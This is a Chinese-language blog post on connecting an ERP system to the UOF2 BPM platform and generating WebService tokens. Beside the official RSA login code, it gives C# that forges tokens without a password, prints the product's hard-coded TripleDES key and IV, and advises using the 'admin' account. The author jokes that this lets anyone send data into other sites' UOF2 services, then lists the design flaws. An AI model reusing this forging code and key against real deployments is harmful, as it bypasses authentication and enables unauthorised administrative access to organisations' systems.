Views: 0
一等一科技 WebService取得Token其實設計的很難用,我覺得應該是不需要User的密碼,尤其是要做系統串接時候根本沒另一個系統的密碼,我建議只需要用時間帳號+時間戳記+加密就可以了
使用環境
ERP系統KEY完單,拋到BPM進行起單+上傳檔案,這時候需要幾樣東
- 起單的部分透過資料庫 or
WebService
,而WebService
需要Token
- 上傳檔案需要使用
Ede.Uof.Web.PublicAPI.Utility.FileCenter()
,這個元件也需要Token - 正常
Token
產生透過Ede.Uof.Web.PublicAPI.Sys.Authentication()
去呼叫API,其中輸入資料需要使用者的EIP帳號+密碼,整個問題點在這,ERP上缺少EIP(BPM)的帳號密碼。
問題點:產生TOKEN 需要使用者的EIP帳號+密碼,ERP上缺少EIP(BPM)的帳號密碼。
官方的正常作法STEP1-RSA產生公私鑰
RSA可以先透過官方有個RSA公私鑰產生器進行產生
然後到:系統管理 » 系統組態 » 一般組態設定 » 整合服務
進行登錄
官方的正常作法(STEP2)-RSA-帳密產生函數
這邊的account
要放EIP上的帳號 passwd
放eip上的密碼
/// <summary>
/// 產生一個Token
/// </summary>
/// <param name="account">帳號</param>
/// <param name="passwd">密碼</param>
/// <param name="appName">外部系統代號</param>
/// <param name="publicKey">外部系統代號</param>
/// <returns></returns>
private string GetToken(string account, string passwd,string appName,string publicKey)
{
Ede.Uof.Web.PublicAPI.Sys.Authentication auth = new Ede.Uof.Web.PublicAPI.Sys.Authentication();
return auth.GetToken(appName, RSAEncrypt(publicKey,account), RSAEncrypt(publicKey,passwd));
}
/// <summary>
/// RSA加密
/// </summary>
/// <param name="publicKey">公鑰</param>
/// <param name="text">明文</param>
/// <returns>密文</returns>
private string RSAEncrypt(string publicKey, string text)
{
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
byte[] base64PublicKey = Convert.FromBase64String(publicKey);
rsa.FromXmlString(System.Text.Encoding.UTF8.GetString(base64PublicKey));
byte[] ctTextArray = Encoding.UTF8.GetBytes(text);
byte[] decodeBs = rsa.Encrypt(ctTextArray, false);
return Convert.ToBase64String(decodeBs);
}
非官方作法-自己照規則產生TOKEN
這邊我研究了一下TOKEN產生的方式,發現其實只要有帳號就可以了,然後可以透過TripleDES
加密
版本1
這個是在.net 4.8 而且可以引用一等一的dll
的 ,如果不能引用dll
就要自己讀資料庫,然後實作TripleDES
的加密,這部分我寫在版本2
/// <summary>
/// 產生一個Token
/// </summary>
/// <param name="account">使用者帳號</param>
/// <param name="appName">外部系統代號</param>
/// <returns></returns>
private string GetToken(string account,string appName)
{
//appName: UOF註冊的APP名稱 (外部系統代號)
// 系統管理 » 系統組態 » 一般組態設定 » 整合服務
string userIP = Current.UserIPAddress;
UserUCO userUco = new UserUCO();
var userGUID = userUco.GetGUID(account);
EBUser ebUser = userUco.GetEBUser(userGUID);
var isAllow = userUco.ValidateActiveUserAccount(ebUser.Account);
if (!isAllow)
{
throw new Exception("使用者帳號已停用,請聯絡系統管理員。");
}
string tempstr = string.Format("{0}|{1}|{2}", appName, ebUser.Account, userIP);
byte[] tokenArray = Ede.Uof.Utility.Crypto.TripleDESEncrypto(Encoding.UTF8.GetBytes(tempstr));
return Ede.Uof.Utility.Hex.GetString(tokenArray);
}
方法2 連TripleDES都自己寫
這邊實作用帳號自己產生TripleDES
的加密(提示:帳號直接使用admin就好),App Name那邊有填就好,這邊我看了一下記憶體內容,挖出了加密用的KEY放在這邊,應該全世界使用UOF2的都是用這個KEY跟加密方式,基本上就變成你知道站台位址,然後知道任一帳號(例如admin)就能取得TOKEN)往別人家的UOF2的WebService亂送資料 XDDD
/// <summary>
/// 產生一個Token
/// </summary>
/// <param name="account">使用者帳號</param>
/// <param name="appName">外部系統代號</param>
/// <returns></returns>
private string GetTokenV2(string account, string appName)
{
//appName: UOF註冊的APP名稱 (外部系統代號)
// 系統管理 » 系統組態 » 一般組態設定 » 整合服務
string userIP = Current.UserIPAddress;
// 獲取使用者GUID
// 這邊可以讀取EIP的資料表
// 檢測並取得帳號
// SELECT TOP 1 [ACCOUNT] FROM [TB_EB_USER]
// WHERE ACCOUNT = @account
// and IS_LOCKED_OUT = 0 -- 確保使用者沒有被鎖定
// and (LAST_LOCKED_OUT_DATE is null or LAST_LOCKED_OUT_DATE >= GETDATE()) -- 確保帳號還沒到期
//account = ""; //取得回來的放這邊
string tempstr = string.Format("{0}|{1}|{2}", appName, account, userIP);
var bytes = Encoding.UTF8.GetBytes(tempstr);
// 使用 TripleDES 加密
TripleDES tripleDes = (TripleDES)new TripleDESCryptoServiceProvider();
byte[] bytes1 = Encoding.UTF8.GetBytes("0#38djdy47gjdnnviAJDFIDD");
byte[] bytes2 = Encoding.UTF8.GetBytes("/!@#(QWHFQRqhf'qwoff1/2f");
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, tripleDes.CreateEncryptor(bytes1, bytes2), CryptoStreamMode.Write);
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.Close();
var encryptedBytes = memoryStream.ToArray();
StringBuilder stringBuilder = new StringBuilder();
int length = encryptedBytes.Length;
for (int index = 0; index < length; ++index)
{
stringBuilder.Append(hexMap[(int)encryptedBytes[index] >> 4]);
stringBuilder.Append(hexMap[(int)encryptedBytes[index] & 15]);
}
return stringBuilder.ToString();
}
/// <summary>
/// 16進位對應表
/// </summary>
private static readonly char[] hexMap = new char[16]
{
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
};
UOF2 TOKEN產生的問題
TOKEN
沒有限制期限,裡面完全沒押TimeStamp
等TOKEN
的加密居然是寫死的,看一下記憶體就會知道了,我覺得最大漏洞是這個,應該將密鑰安裝時產生在AppSetting
或DB中,每個站台都不同。- API收到
TOKEN
解密的驗證也很薄弱,基本上只有驗帳號而已,所以你只需要產生一個admin的TOKEN
就能變成萬能鑰匙。
0 Comments